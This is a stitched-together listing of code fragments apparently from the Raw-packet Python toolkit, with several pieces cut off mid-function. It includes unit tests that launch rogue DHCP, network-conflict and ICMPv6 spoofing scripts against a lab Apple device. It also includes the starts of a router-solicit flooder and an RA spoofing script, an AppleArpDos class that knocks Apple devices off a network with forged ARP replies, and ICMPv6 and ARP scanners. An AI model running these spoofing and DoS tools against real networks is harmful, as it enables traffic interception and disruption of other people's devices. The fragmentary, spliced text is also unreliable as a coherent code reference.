                    "DHCPv6 Confirm from: ", request['IPv6']['source-ip'] +
                    " (" + request['Ethernet']['source'] + ")", " XID: ",
                    hex(request['DHCPv6']['transaction-id']), " IAA: ",
                    client_ipv6_address)
                Base.print_info(
                    "DHCPv6 Reply to:     ", request['IPv6']['source-ip'] +
                    " (" + request['Ethernet']['source'] + ")", " XID: ",
                    hex(request['DHCPv6']['transaction-id']), " IAA: ",
                    client_ipv6_address)
예제 #6
0
class ScriptAppleRogueDhcpTest(unittest.TestCase):

    # region Properties
    root_path = dirname(
        dirname(dirname(dirname(dirname(dirname(abspath(__file__)))))))
    path.append(root_path)
    from raw_packet.Tests.Unit_tests.variables import Variables
    from raw_packet.Utils.base import Base
    base: Base = Base()

    # endregion

    def kill_test_process(self) -> None:
        while self.base.get_process_pid('/apple_rogue_dhcp.py') != -1:
            kill(self.base.get_process_pid('/apple_rogue_dhcp.py'), SIGTERM)
            sleep(0.1)

    @staticmethod
    def restart_dhcp_server_over_ssh() -> None:
        run([
            'ssh ' + ScriptAppleRogueDhcpTest.Variables.router_root_username +
            '@' + ScriptAppleRogueDhcpTest.Variables.router_ipv4_address +
            ' "/etc/init.d/dnsmasq restart"'
        ],
            shell=True)

    def check_apple_device_connected(self) -> None:
        self.kill_test_process()
        sleep(5)
        response: int = system(
            "ping -c 1 " +
            ScriptAppleRogueDhcpTest.Variables.apple_device_ipv4_address)
        if response == 0:
            return None
        else:
            self.restart_dhcp_server_over_ssh()
            while response != 0:
                response = system("ping -c 1 " + ScriptAppleRogueDhcpTest.
                                  Variables.apple_device_ipv4_address)

    def test01_start_without_params(self):
        mitm_process = run([
            'python3 ' + self.root_path + '/Scripts/Apple/apple_rogue_dhcp.py'
        ],
                           stdout=PIPE,
                           stderr=STDOUT,
                           shell=True)
        mitm_process_stdout: str = mitm_process.stdout.decode('utf-8')
        print(mitm_process_stdout)
        self.assertIn('the following arguments are required',
                      mitm_process_stdout)
        self.assertIn('--target_mac', mitm_process_stdout)
        self.assertIn('--target_new_ip', mitm_process_stdout)

    def test02_start_without_target_new_ip(self):
        mitm_process = run([
            'python3 ' + self.root_path +
            '/Scripts/Apple/apple_rogue_dhcp.py --target_mac ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address
        ],
                           stdout=PIPE,
                           stderr=STDOUT,
                           shell=True)
        mitm_process_stdout: str = mitm_process.stdout.decode('utf-8')
        print(mitm_process_stdout)
        self.assertIn('the following arguments are required',
                      mitm_process_stdout)
        self.assertIn('--target_new_ip', mitm_process_stdout)

    def test03_start_without_target_mac(self):
        mitm_process = run([
            'python3 ' + self.root_path +
            '/Scripts/Apple/apple_rogue_dhcp.py --target_new_ip ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address
        ],
                           stdout=PIPE,
                           stderr=STDOUT,
                           shell=True)
        mitm_process_stdout: str = mitm_process.stdout.decode('utf-8')
        print(mitm_process_stdout)
        self.assertIn('the following arguments are required',
                      mitm_process_stdout)
        self.assertIn('--target_mac', mitm_process_stdout)

    def test04_main_bad_interface(self):
        mitm_process = run([
            'python3 ' + self.root_path +
            '/Scripts/Apple/apple_rogue_dhcp.py --interface ' +
            ScriptAppleRogueDhcpTest.Variables.bad_network_interface +
            ' --target_mac ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address +
            ' --target_new_ip ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address
        ],
                           stdout=PIPE,
                           stderr=STDOUT,
                           shell=True)
        mitm_process_stdout: str = mitm_process.stdout.decode('utf-8')
        print(mitm_process_stdout)
        self.assertIn(ScriptAppleRogueDhcpTest.Variables.bad_network_interface,
                      mitm_process_stdout)

    def test05_main(self):
        self.check_apple_device_connected()
        run([
            'python3 ' + self.root_path +
            '/Scripts/Others/network_conflict_creator.py --interface ' +
            ScriptAppleRogueDhcpTest.Variables.test_network_interface +
            ' --target_mac ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address +
            ' --target_ip ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_ipv4_address +
            ' --quiet'
        ],
            shell=True)
        run([
            'python3 ' + self.root_path +
            '/Scripts/Apple/apple_rogue_dhcp.py --interface ' +
            ScriptAppleRogueDhcpTest.Variables.test_network_interface +
            ' --target_mac ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_mac_address +
            ' --target_new_ip ' +
            ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address +
            ' --quiet'
        ],
            shell=True)
        sleep(5)
        response: int = system(
            "ping -c 1 " +
            ScriptAppleRogueDhcpTest.Variables.apple_device_new_ipv4_address)
        self.assertEqual(response, 0)
        self.check_apple_device_connected()
예제 #7
0
#!/usr/bin/env python3

from raw_packet.Utils.base import Base
from raw_packet.Utils.network import IP_raw, TCP_raw, Ethernet_raw, ARP_raw
from argparse import ArgumentParser
from socket import socket, AF_PACKET, SOCK_RAW
from random import randint
from time import sleep
from raw_packet.Utils.tm import ThreadManager
from scapy.all import sniff, TCP, ARP

Base = Base()
Base.check_platform()
Base.check_user()

current_network_interface = None

src_mac_address = None
src_ip_address = None
src_port = None

dst_mac_address = None
dst_ip_address = None
dst_port = None

data = None

tm = ThreadManager(3)

response_sequence_number = 0
response_acknowledgement_number = 0
예제 #8
0
#!/usr/bin/env python3

from raw_packet.Utils.base import Base
from argparse import ArgumentParser
from raw_packet.Utils.network import ICMPv6_raw, Ethernet_raw
from socket import socket, AF_PACKET, SOCK_RAW
from sys import exit


Base = Base()
Base.check_platform()
Base.check_user()
Base.print_banner()

if __name__ == "__main__":

    parser = ArgumentParser(description='ICMPv6 router solicit packets sender')

    parser.add_argument('-i', '--interface', type=str, help='Set interface name for send TCP packets')

    parser.add_argument('-m', '--src_mac', type=str, help='Set src mac address (not required)', default=None)
    parser.add_argument('-a', '--src_ipv6', type=str, help='Set src ipv6 address (not required)', default=None)
    parser.add_argument('-p', '--number_of_packets', type=int, help='Set number of packets (default=100000)', default=100000)
    parser.add_argument('-t', '--number_of_iterations', type=int, help='Set number of iteration (default=100)', default=100)

    args = parser.parse_args()
    icmpv6 = ICMPv6_raw()
    eth = Ethernet_raw()
    rs_packets = []

    if args.interface is None:
예제 #9
0
class ScriptICMPV6ScanTest(unittest.TestCase):

    # region Properties - must change for your tests
    root_path = dirname(
        dirname(dirname(dirname(dirname(dirname(abspath(__file__)))))))
    path.append(root_path)
    from raw_packet.Utils.base import Base
    from raw_packet.Tests.Unit_tests.variables import Variables
    base: Base = Base()
    # endregion

    @staticmethod
    def get_ipv6_router_mac_address_over_ssh() -> str:
        gateway_mac_address: str = ''
        target_command = run([
            'ssh ' + ScriptICMPV6ScanTest.Variables.apple_device_username +
            '@' + ScriptICMPV6ScanTest.Variables.apple_device_ipv4_address +
            ' "ndp -an | grep ' +
            ScriptICMPV6ScanTest.Variables.router_ipv6_link_address + '"'
        ],
                             shell=True,
                             stdout=PIPE,
                             stderr=STDOUT)
        target_ndp_table: str = target_command.stdout.decode('utf-8')
        target_ndp_table: str = sub(r' +', ' ', target_ndp_table)
        target_ndp_table: List[str] = target_ndp_table.split(' ')
        try:
            return target_ndp_table[1]
        except IndexError:
            return gateway_mac_address

    @staticmethod
    def restart_network_interface_over_ssh(
            network_interface: Union[None, str] = None) -> None:
        if network_interface is None:
            network_interface = ScriptICMPV6ScanTest.Variables.apple_device_network_interface
        run([
            'ssh ' +
            ScriptICMPV6ScanTest.Variables.apple_device_root_username + '@' +
            ScriptICMPV6ScanTest.Variables.apple_device_ipv4_address +
            ' "ifconfig ' + network_interface + ' down && ifconfig ' +
            network_interface + ' up"'
        ],
            shell=True)

    @staticmethod
    def restart_dhcp_server_over_ssh() -> None:
        run([
            'ssh ' + ScriptICMPV6ScanTest.Variables.router_root_username +
            '@' + ScriptICMPV6ScanTest.Variables.router_ipv4_address +
            ' "/etc/init.d/dnsmasq restart"'
        ],
            shell=True)

    def test01_neighbor_advertisement(self):
        while self.base.macos_encode_mac_address(ScriptICMPV6ScanTest.Variables.router_mac_address) != \
                self.get_ipv6_router_mac_address_over_ssh():
            self.restart_network_interface_over_ssh()
            sleep(10)
        Popen([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 2 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address
        ],
              shell=True)
        sleep(20)
        current_router_mac_address = self.get_ipv6_router_mac_address_over_ssh(
        )
        while self.base.get_process_pid('/icmpv6_spoof.py') != -1:
            kill(self.base.get_process_pid('/icmpv6_spoof.py'), SIGTERM)
            sleep(0.5)
        self.assertEqual(
            self.base.macos_encode_mac_address(
                ScriptICMPV6ScanTest.Variables.your_mac_address),
            current_router_mac_address)

    def test02_router_advertisement(self):
        while self.base.macos_encode_mac_address(ScriptICMPV6ScanTest.Variables.router_mac_address) != \
                self.get_ipv6_router_mac_address_over_ssh():
            self.restart_network_interface_over_ssh()
            sleep(10)
        Popen([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address
        ],
              shell=True)
        sleep(20)
        current_router_mac_address = self.get_ipv6_router_mac_address_over_ssh(
        )
        while self.base.get_process_pid('/icmpv6_spoof.py') != -1:
            kill(self.base.get_process_pid('/icmpv6_spoof.py'), SIGTERM)
            sleep(0.5)
        self.assertEqual(
            self.base.macos_encode_mac_address(
                ScriptICMPV6ScanTest.Variables.your_mac_address),
            current_router_mac_address)

    def test03_bad_interface(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.bad_network_interface
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.bad_network_interface,
                      icmpv6_spoof_output)

    def test04_bad_target_mac_address(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.bad_mac_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.bad_mac_address,
                      icmpv6_spoof_output)

    def test05_target_ip_without_target_mac(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_ip ' +
            ScriptICMPV6ScanTest.Variables.bad_ipv6_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn('target_mac', icmpv6_spoof_output)

    def test06_bad_target_ip_address1(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address +
            ' --target_ip ' + ScriptICMPV6ScanTest.Variables.bad_ipv6_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.bad_ipv6_address,
                      icmpv6_spoof_output)

    def test07_bad_target_ip_address2(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address +
            ' --target_ip ' +
            ScriptICMPV6ScanTest.Variables.router_ipv6_glob_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.router_ipv6_glob_address,
                      icmpv6_spoof_output)

    def test08_bad_target_ip_address3(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address +
            ' --target_ip ' +
            ScriptICMPV6ScanTest.Variables.router_ipv6_link_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.router_ipv6_link_address,
                      icmpv6_spoof_output)

    def test09_bad_target_ip_address4(self):
        icmpv6_spoof = run([
            'python3 ' + self.root_path +
            '/Scripts/ICMPv6/icmpv6_spoof.py -i ' +
            ScriptICMPV6ScanTest.Variables.test_network_interface +
            ' --technique 1 --target_mac ' +
            ScriptICMPV6ScanTest.Variables.apple_device_mac_address +
            ' --target_ip ' +
            ScriptICMPV6ScanTest.Variables.your_ipv6_link_address
        ],
                           shell=True,
                           stdout=PIPE)
        icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8')
        print(icmpv6_spoof_output)
        self.assertIn(ScriptICMPV6ScanTest.Variables.your_ipv6_link_address,
                      icmpv6_spoof_output)
예제 #10
0
# region Send DNS Request packets in scapy
def scapy_send_dns_requests(number_of_packets):
    for _ in range(number_of_packets):
        dns_request = Ether(src=ethernet_src, dst=ethernet_dst) /\
                      IP(src=ip_src, dst=ip_dst) /\
                      UDP(dport=53, sport=randint(1024, 65535)) /\
                      DNS(id=randint(1, 1000), rd=1, qd=DNSQR(qname="www." + str(randint(1, 1000)) + ".com"))
        sendp(dns_request, verbose=False)


# endregion

# region Main function
if __name__ == "__main__":
    Base = Base()

    execution_time['ARP requests'] = {}
    execution_time['ARP requests']['Scapy'] = {}
    execution_time['ARP requests']['Raw-packet'] = {}

    execution_time['DHCP discover requests'] = {}
    execution_time['DHCP discover requests']['Scapy'] = {}
    execution_time['DHCP discover requests']['Raw-packet'] = {}

    execution_time['DNS requests'] = {}
    execution_time['DNS requests']['Scapy'] = {}
    execution_time['DNS requests']['Raw-packet'] = {}

    for number_of_packets in 10, 100, 1000, 10000:
예제 #11
0
# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Development'
# endregion

# region Check user, platform and create threads
Base = Base()
Base.check_user()
Base.check_platform()
icmpv6 = ICMPv6_raw()
icmpv6_scan = ICMPv6Scan()
scanner = Scanner()
# endregion

# region Parse script arguments
parser = ArgumentParser(description='RA (Router Advertisement) spoofing')

parser.add_argument('-i', '--interface', help='Set interface name for send ARP packets')

parser.add_argument('-t', '--target_ip', help='Set target IPv6 link local address', default=None)
parser.add_argument('-m', '--target_mac', help='Set target MAC address', default=None)
예제 #12
0
class ICMPv6Scan:

    # region Set variables
    base = None
    eth = None
    ipv6 = None
    icmpv6 = None

    rawSocket = None

    network_interface = None
    your_mac_address = None
    your_ipv6_link_address = None

    target_mac_address = None

    results = None
    unique_results = None
    mac_addresses = None

    vendor_list = None

    retry_number = 0
    timeout = 0

    icmpv6_identifier = 0

    router_info = None
    router_search = False

    # endregion

    # region Init
    def __init__(self):
        self.base = Base()
        self.eth = Ethernet_raw()
        self.ipv6 = IPv6_raw()
        self.icmpv6 = ICMPv6_raw()

        self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))

        self.results = []
        self.unique_results = []
        self.mac_addresses = []

        self.retry_number = 3
        self.timeout = 0

        self.router_info = {}

        # region Create vendor list
        self.vendor_list = self.base.get_mac_prefixes()
        # endregion

    # endregion

    # region Sniffer
    def sniff(self):
        while True:
            packets = self.rawSocket.recvfrom(2048)

            for packet in packets:

                # Parse Ethernet header
                ethernet_header = packet[0:14]
                ethernet_header_dict = self.eth.parse_header(ethernet_header)

                # Parse Ethernet header
                if ethernet_header_dict is None:
                    break

                # Source MAC address is target mac address
                if not self.router_search:
                    if self.target_mac_address != "33:33:00:00:00:01":
                        if ethernet_header_dict[
                                'source'] != self.target_mac_address:
                            break

                # Destination MAC address is your MAC address
                if not self.router_search:
                    if ethernet_header_dict[
                            'destination'] != self.your_mac_address:
                        break

                # Check type of ethernet header
                if ethernet_header_dict['type'] != self.ipv6.header_type:
                    break

                # Parse IPv6 header
                ipv6_header = packet[14:14 + self.ipv6.header_length]
                ipv6_header_dict = self.ipv6.parse_header(ipv6_header)

                # Check parse IPv6 header
                if ipv6_header_dict is None:
                    break

                # Check IPv6 next header type
                if ipv6_header_dict['next-header'] != self.icmpv6.packet_type:
                    break

                # Parse ICMPv6 packet
                icmpv6_packet = packet[14 + self.ipv6.header_length:]
                icmpv6_packet_dict = self.icmpv6.parse_packet(icmpv6_packet)

                # Check parse ICMPv6 packet
                if icmpv6_packet_dict is None:
                    break

                if self.router_search:
                    # 134 Type of ICMPv6 Router Advertisement
                    if icmpv6_packet_dict['type'] != 134:
                        break

                    # Save router information
                    self.router_info[
                        'router_mac_address'] = ethernet_header_dict['source']
                    self.router_info['router_ipv6_address'] = ipv6_header_dict[
                        'source-ip']
                    self.router_info['flags'] = hex(
                        icmpv6_packet_dict['flags'])
                    self.router_info['router-lifetime'] = int(
                        icmpv6_packet_dict['router-lifetime'])
                    self.router_info['reachable-time'] = int(
                        icmpv6_packet_dict['reachable-time'])
                    self.router_info['retrans-timer'] = int(
                        icmpv6_packet_dict['retrans-timer'])

                    for icmpv6_ra_option in icmpv6_packet_dict['options']:
                        if icmpv6_ra_option['type'] == 3:
                            self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + "/" + \
                                                         str(icmpv6_ra_option['value']['prefix-length'])
                        if icmpv6_ra_option['type'] == 5:
                            self.router_info['mtu'] = int(
                                icmpv6_ra_option['value'], 16)
                        if icmpv6_ra_option['type'] == 25:
                            self.router_info['dns-server'] = str(
                                icmpv6_ra_option['value']['address'])

                    # Search router MAC address prefix in vendor list
                    router_mac_prefix = self.eth.get_mac_prefix(
                        self.router_info['router_mac_address'])

                    for vendor_index in range(len(self.vendor_list)):
                        if router_mac_prefix == self.vendor_list[vendor_index][
                                'prefix']:
                            self.router_info['vendor'] = self.vendor_list[
                                vendor_index]['vendor']

                    # Could not find this prefix in vendor list
                    if 'vendor' not in self.router_info.keys():
                        self.router_info['vendor'] = "Unknown vendor"

                else:
                    # 129 Type of ICMPv6 Echo (ping) reply
                    if icmpv6_packet_dict['type'] != 129:
                        break

                    # Check ICMPv6 Echo (ping) reply identifier
                    if icmpv6_packet_dict[
                            'identifier'] == self.icmpv6_identifier:
                        self.results.append({
                            "mac-address":
                            ethernet_header_dict['source'],
                            "ip-address":
                            ipv6_header_dict['source-ip']
                        })

    # endregion

    # region Sender
    def send(self):
        self.your_mac_address = self.base.get_netiface_mac_address(
            self.network_interface)
        self.your_ipv6_link_address = self.base.get_netiface_ipv6_link_address(
            self.network_interface)

        send_socket = socket(AF_PACKET, SOCK_RAW)
        send_socket.bind((self.network_interface, 0))

        if self.router_search:
            request = self.icmpv6.make_router_solicit_packet(
                ethernet_src_mac=self.your_mac_address,
                ipv6_src=self.your_ipv6_link_address)

        else:
            if self.target_mac_address is None:
                self.target_mac_address = "33:33:00:00:00:01"

            request = self.icmpv6.make_echo_request_packet(
                ethernet_src_mac=self.your_mac_address,
                ethernet_dst_mac=self.target_mac_address,
                ipv6_src=self.your_ipv6_link_address,
                ipv6_dst="ff02::1",
                id=self.icmpv6_identifier)

        for _ in range(self.retry_number):
            send_socket.send(request)
            sleep(0.1)

        send_socket.close()

    # endregion

    # region Scanner
    def scan(self,
             network_interface,
             timeout=3,
             retry=3,
             target_mac_address=None,
             check_vendor=True):

        # region Set variables
        self.target_mac_address = target_mac_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        self.icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Reset results and mac addresses list
        self.results = []
        self.mac_addresses = []
        # endregion

        # region Get vendors
        for result_index in range(len(self.unique_results)):

            # Get current MAC address prefix
            current_mac_prefix = self.eth.get_mac_prefix(
                self.unique_results[result_index]['mac-address'])

            # Search this prefix in vendor list
            for vendor_index in range(len(self.vendor_list)):
                if current_mac_prefix == self.vendor_list[vendor_index][
                        'prefix']:
                    self.unique_results[result_index][
                        'vendor'] = self.vendor_list[vendor_index]['vendor']
                    break

            # Could not find this prefix in vendor list
            if 'vendor' not in self.unique_results[result_index].keys():
                self.unique_results[result_index]['vendor'] = "Unknown vendor"

        # endregion

        # region Return results
        return self.unique_results
        # endregion

    # endregion

    # region Search IPv6 router
    def search_router(self, network_interface, timeout=3, retry=3):

        # region Set variables
        self.router_search = True
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Return results
        return self.router_info
예제 #13
0
class AppleArpDos:

    # region Variables
    _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
    _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}
    _quit: bool = False
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv4-address',
                                                                            'first-ipv4-address',
                                                                            'last-ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
    # endregion

    # region Start ARP DOS Apple device
    def start(self,
              target_ip_address: Union[None, str] = None,
              target_mac_address: Union[None, str] = None,
              quit: bool = False) -> None:
        """
        Start ARP DOS Apple device
        :param target_ip_address: Target IPv4 address (example: '192.168.0.1')
        :param target_mac_address: Target MAC address (example: '12:34:56:78:90:ab')
        :param quit: Quit mode (default: False)
        :return: None
        """
        try:

            # region Set variables
            self._quit = quit
            # endregion

            # region Set target
            self._target = self._utils.set_ipv4_target(network_interface=self._your['network-interface'],
                                                       target_ipv4_address=target_ip_address,
                                                       target_mac_address=target_mac_address,
                                                       target_vendor='apple',
                                                       exclude_ipv4_addresses=[])
            # endregion

            # region Start _sniffer
            self._thread_manager.add_task(self._sniffer)
            # endregion

            # region Send first Multicast ARP request packets
            sleep(3)
            if not self._quit:
                self._base.print_warning('Send initial ARP requests')
            self._send_arp_requests(count_of_packets=10)
            # endregion

            # region Wait for completion
            self._thread_manager.wait_for_completion()
            # endregion

        except AssertionError as Error:
            if not self._quit:
                self._base.print_error(Error.args[0])
            exit(1)

        except KeyboardInterrupt:
            if not self._quit:
                self._base.print_info('Exit')
            exit(0)
    # endregion

    # region ARP request sender
    def _send_arp_requests(self, count_of_packets: int = 10) -> None:
        """
        Send initial network conflict ARP request packets
        :param count_of_packets: Count if ARP request packets (default: 10)
        :return: None
        """
        random_ip_address: str = self._base.get_random_ip_on_interface(self._your['network-interface'])
        arp_init_request = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                                  ethernet_dst_mac=self._target['mac-address'],
                                                  sender_mac=self._your['mac-address'],
                                                  sender_ip=self._target['ipv4-address'],
                                                  target_mac='00:00:00:00:00:00',
                                                  target_ip=random_ip_address)
        self._raw_send.send_packet(packet=arp_init_request, count=count_of_packets, delay=0.5)
    # endregion

    # region ARP reply sender
    def _send_arp_reply(self) -> None:
        """
        Send network conflict ARP reply packet
        :return: None
        """
        arp_reply = self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                            ethernet_dst_mac=self._target['mac-address'],
                                            sender_mac=self._your['mac-address'],
                                            sender_ip=self._target['ipv4-address'],
                                            target_mac=self._target['mac-address'],
                                            target_ip=self._target['ipv4-address'])
        self._raw_send.send_packet(packet=arp_reply)
        if not self._quit:
            self._base.print_info('ARP response to: ', self._target['ipv4-address'],
                                  ' "' + self._target['ipv4-address'] +
                                  ' is at ' + self._your['mac-address'] + '"')
    # endregion

    # region Analyze packet
    def _analyze(self, packet: Dict) -> None:
        """
        Analyze parsed network packet dictionary
        :param packet: Parsed network packet dictionary
        :return: None
        """
        # region ARP packet
        if 'ARP' in packet.keys():
            if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                    packet['ARP']['target-mac'] == '00:00:00:00:00:00' and \
                    packet['ARP']['sender-mac'] == self._target['mac-address'] and \
                    packet['ARP']['target-ip'] == self._target['ipv4-address'] and \
                    packet['ARP']['sender-ip'] == self._target['ipv4-address']:
                if not self._quit:
                    self._base.print_info('ARP Announcement for: ',
                                          packet['ARP']['target-ip'] + ' (' +
                                          packet['ARP']['sender-ip'] + ')')
                self._send_arp_reply()
        # endregion

        # region DHCPv4 packet
        else:
            if 'DHCPv4' in packet.keys():
                if packet['DHCPv4'][53] == 4:
                    self._base.print_success('DHCPv4 Decline from: ', packet['Ethernet']['source'],
                                             ' IPv4 address conflict detection!')
                if packet['DHCPv4'][53] == 3:
                    if 50 in packet['DHCPv4'].keys():
                        self._target['ipv4-address'] = str(packet['DHCPv4'][50])
                        self._send_arp_requests(count_of_packets=10)
                        if not self._quit:
                            self._base.print_success('DHCPv4 Request from: ', self._target['mac-address'],
                                                     ' requested ip: ', self._target['ipv4-address'])
        # endregion
    # endregion

    # region Sniff ARP and DHCP request from target
    def _sniffer(self) -> None:
        """
        Sniff ARP and DHCPv4 packets
        :return: None
        """
        self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._analyze,
                          filters={'Ethernet': {'source': self._target['mac-address']},
                                   'ARP': {'opcode': 1},
                                   'IPv4': {'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255'},
                                   'UDP': {'source-port': 68, 'destination-port': 67}},
                          network_interface=self._your['network-interface'],
                          scapy_filter='arp or (udp and (port 67 or 68))',
                          scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
예제 #14
0
class ArpScan:

    # region Set variables
    base = None
    eth = None
    arp = None

    rawSocket = None

    network_interface = None
    your_mac_address = None
    your_ip_address = None
    target_ip_address = None

    results = None
    unique_results = None

    mac_addresses = None

    mac_prefixes_file = None
    vendor_list = None

    retry_number = 0
    timeout = 0

    # endregion

    # region Init
    def __init__(self):
        self.base = Base()
        self.eth = Ethernet_raw()
        self.arp = ARP_raw()
        self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))
        self.results = []
        self.unique_results = []
        self.mac_addresses = []

        self.mac_prefixes_file = "mac-prefixes.txt"
        self.vendor_list = []

        self.retry_number = 3
        self.timeout = 0

    # endregion

    # region Sniffer
    def sniff(self):
        while True:
            packets = self.rawSocket.recvfrom(2048)

            for packet in packets:

                # Parse Ethernet header
                ethernet_header = packet[0:14]
                ethernet_header_dict = self.eth.parse_header(ethernet_header)

                # Success parse Ethernet header
                if ethernet_header_dict is not None:

                    # 2054 - Type of ARP packet (0x0806)
                    if ethernet_header_dict['type'] == 2054:

                        # Destination MAC address is your MAC address
                        if ethernet_header_dict[
                                'destination'] == self.your_mac_address:

                            # Parse ARP packet
                            arp_header = packet[14:42]
                            arp_header_dict = self.arp.parse_packet(arp_header)

                            # Success parse ARP packet
                            if arp_header_dict is not None:

                                # ARP opcode == 2 (2 - ARP reply)
                                if arp_header_dict['opcode'] == 2:

                                    # ARP target MAC address is your MAC address
                                    if arp_header_dict[
                                            'target-mac'] == self.your_mac_address:

                                        # ARP target IP address is your IP address
                                        if arp_header_dict[
                                                'target-ip'] == self.your_ip_address:

                                            # Parameter Target IP address is None
                                            if self.target_ip_address is None:
                                                self.results.append({
                                                    "mac-address":
                                                    arp_header_dict[
                                                        'sender-mac'],
                                                    "ip-address":
                                                    arp_header_dict[
                                                        'sender-ip']
                                                })

                                            # Parameter Target IP address is Set
                                            else:
                                                if arp_header_dict[
                                                        'sender-ip'] == self.target_ip_address:
                                                    self.results.append({
                                                        "mac-address":
                                                        arp_header_dict[
                                                            'sender-mac'],
                                                        "ip-address":
                                                        arp_header_dict[
                                                            'sender-ip']
                                                    })

    # endregion

    # region Sender
    def send(self):
        arp_requests = []

        self.your_mac_address = self.base.get_netiface_mac_address(
            self.network_interface)
        self.your_ip_address = self.base.get_netiface_ip_address(
            self.network_interface)

        first_ip_address = self.base.get_netiface_first_ip(
            self.network_interface, 1)
        last_ip_address = self.base.get_netiface_last_ip(
            self.network_interface, -2)

